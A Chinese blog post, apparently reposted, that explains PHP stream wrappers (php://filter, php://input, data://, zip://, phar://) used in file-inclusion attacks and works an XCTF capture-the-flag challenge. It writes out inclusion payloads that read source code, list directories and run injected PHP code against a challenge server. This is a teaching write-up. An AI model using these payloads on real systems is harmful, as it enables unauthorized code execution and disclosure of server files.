zoukankan      html  css  js  c++  java
  • php伪协议分析与CTF例题讲解

     
     
     
     
     
     

     本文大量转载于:https://blog.csdn.net/qq_41289254/article/details/81388343 (感谢博主)

    一,php://  访问输入输出流,有两个常用的子协议

    1,php://filter  设计用来过滤筛选文件

     使用方法:非php语法文件include失败,直接输出源码内容。

    php://filter/resource=需要包含的文件

    还有一种使用方法是:以读的形式,将需要包含的文件名转化为base64编码的方式进行读取,这样传入至include函数的文件名不会被误以为是php执行文件而执行,而是以base64编码方式显示源码

    php://filter/read=convert.base64-encode/resouece=需要包含的文件

    二、php://input

    利用方法:将要执行的语法php代码写在post中提交,不用键与值的形式,只写代码即可

     

     

    三、file://  后跟文件目录绝对路径

    file:// 与php:filter类似,访问本地文件,但是只能传入绝对路径

    四、phar://  可以查找指定压缩包内的文件

    使用绝对路径与相对路径均可

    五、zip://  用法与phar类似,不过有两点要注意

    1,只能传入绝对路径。

    2,要用#分隔压缩包和压缩包里的内容,并且#要用url编码%23

    六、data  与input 类似,都是用户可以控制传入的php代码

    1,直接写入代码

    data: text/plain,<?php 执行内容 ?>

    2、base64编码后写入代码

    data:text/plain;(注意是分号不是逗号,与前面不同)base64,编码后的php代码

     

    注:有一点要注意的问题,base64编码后的加号和等号要手动的url编码,否则无法识别。如下图所示:

    七、http协议

    include中也可以传入外部链接,采用http://

    关于allow_url_fopenallow_url_include的设置和用法总结:

     

    XCTF例题:

    除去php://;使用data://伪协议的方式,首先查看根目录,打印根路径的文件有哪些

    echo $_SERVER['DOCUMENT_ROOT'];

     再查看根目录下有哪些文件:

    http://111.200.241.244:36230/?page=data://text/plain,?page=data://text/plain,%3C?php%20print_r(scandir(%27/var/www%27));?%3E

    http://111.200.241.244:36230/?page=data://text/plain,%3C?php%20$a=file_get_contents(%27fl4gisisish3r3.php%27);echo%20htmlspecialchars($a);%20?%3E

    file_get_contents

    file_get_contents — 将整个文件读入一个字符串

    htmlspecialchars

    htmlspecialchars — 将特殊字符转换为 HTML 实体输出,可获取flag

    http://111.200.241.244:36230/?page=data://text/plain,%3C?php%20$a=file_get_contents(%27fl4gisisish3r3.php%27);echo%20htmlspecialchars($a);%20?%3E

  • 相关阅读:
    PythonStudy——数据类型总结 Data type summary
    PythonStudy——可变与不可变 Variable and immutable
    PythonStudy——列表操作 List operatio
    PythonStudy——列表的常用操作 List of common operations
    PythonStudy——列表类型 List type
    PythonStudy——字符串扩展方法 String extension method
    PythonStudy——字符串重要方法 String important method
    AWT,Swing,RCP 开发
    JQuery插件机制
    最新知识网站
  • 原文地址:https://www.cnblogs.com/cute-puli/p/14392472.html
Copyright © 2011-2022 走看看